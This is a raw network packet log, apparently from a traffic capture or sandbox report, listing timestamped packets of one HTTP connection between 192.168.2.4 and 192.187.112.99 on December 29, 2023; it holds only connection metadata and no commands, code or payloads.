Dec 29, 2023 12:06:52.882714987 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882745028 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882780075 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882792950 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882810116 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882819891 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882828951 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882832050 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882837057 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882844925 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882858038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882869959 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882890940 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882981062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882993937 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883025885 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883033991 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883048058 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883058071 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883070946 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883081913 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883100986 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883104086 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883116007 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883125067 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883131981 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883152962 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883178949 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883191109 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883200884 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883213043 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883225918 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883235931 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883240938 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883268118 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883276939 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883337021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883348942 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883358955 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883371115 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883379936 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883383036 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883395910 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883404016 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883414030 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883438110 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883488894 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883501053 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883511066 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883522034 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883533001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883533955 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883544922 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883555889 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883555889 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883578062 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883596897 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883654118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883667946 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883699894 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883776903 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883789062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883800030 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883811951 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883822918 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883833885 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883861065 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883873940 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883886099 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883917093 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883932114 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.883960962 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.883977890 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884004116 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884021044 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884021044 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884033918 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884044886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884056091 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884069920 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884087086 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884094954 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884100914 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884128094 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884151936 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884187937 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884200096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884211063 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884221077 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884232044 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884233952 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884243965 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884255886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884258986 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884268045 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884279013 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884296894 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884318113 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884416103 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884428024 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884438038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884452105 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884459972 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884464025 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884476900 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884484053 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884488106 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884504080 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884505987 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884516001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884527922 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884531021 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884540081 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884548903 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884552002 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884563923 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884572029 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884576082 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884587049 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884597063 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884598017 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884609938 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884618044 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884622097 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884639025 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884660959 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884674072 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884717941 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884749889 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884762049 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884773016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884784937 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884793997 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884815931 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884819031 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884846926 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884860039 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884877920 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.884948969 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884960890 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884972095 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884988070 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.884995937 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885000944 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885008097 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885015011 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885025978 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885037899 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885061979 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885209084 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885256052 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885277987 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885322094 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885338068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885375023 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885382891 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885395050 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885411978 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885423899 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885438919 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885449886 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885492086 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885535002 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885543108 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885585070 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885607958 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885620117 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885631084 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885642052 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.885652065 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.885677099 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011326075 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011367083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011378050 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011389971 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011401892 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011413097 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011425972 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011429071 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011437893 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011450052 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011461973 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011472940 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011486053 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011497021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011507034 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011518002 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011528969 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011540890 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011552095 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011563063 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011574030 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011586905 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011599064 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011610031 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011621952 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011631966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011641979 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011641979 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011641979 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011643887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011641979 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011641979 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011641979 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011641979 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011661053 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011661053 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011661053 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011693001 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011693954 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011708021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011718988 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011729956 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011734009 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011742115 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011754036 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011754990 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011765003 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011765957 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011778116 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011790037 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011799097 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011801958 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011811972 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011816025 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011828899 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.011842966 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.011869907 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012290001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012312889 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012326956 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012368917 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012382984 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012428045 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012440920 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012464046 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012495995 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012532949 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012547016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012557983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012569904 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012577057 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012582064 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012593985 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012605906 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012609005 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012618065 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012639046 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012645960 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012653112 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012665033 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012675047 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012676001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012687922 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012693882 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012700081 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012708902 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012712955 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012732029 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012742043 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012753963 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012763023 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012801886 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012880087 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012908936 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.012922049 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012945890 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.012994051 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013006926 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013016939 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013029099 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013036013 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013040066 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013061047 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013063908 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013077021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013081074 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013089895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013101101 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013109922 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013112068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013123989 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013123989 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013150930 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013171911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013207912 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013221025 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013231993 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013242960 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013248920 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013256073 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013267994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013279915 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013289928 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013317108 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013329983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013343096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013354063 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013386011 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013400078 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013417959 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013430119 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013468027 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013495922 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013508081 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013518095 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013530970 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013540983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013541937 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013552904 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013554096 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013581038 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013606071 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013631105 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013644934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013657093 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013668060 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013674974 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013679981 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013694048 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013705015 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013715982 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013739109 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013741970 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013751984 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013762951 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013775110 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013786077 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013787031 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013797998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013812065 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013825893 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013830900 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013844013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013853073 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013855934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013871908 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013891935 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:53.013921976 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:53.013935089 CET	80	49729	192.187.112.99	192.168.2.4
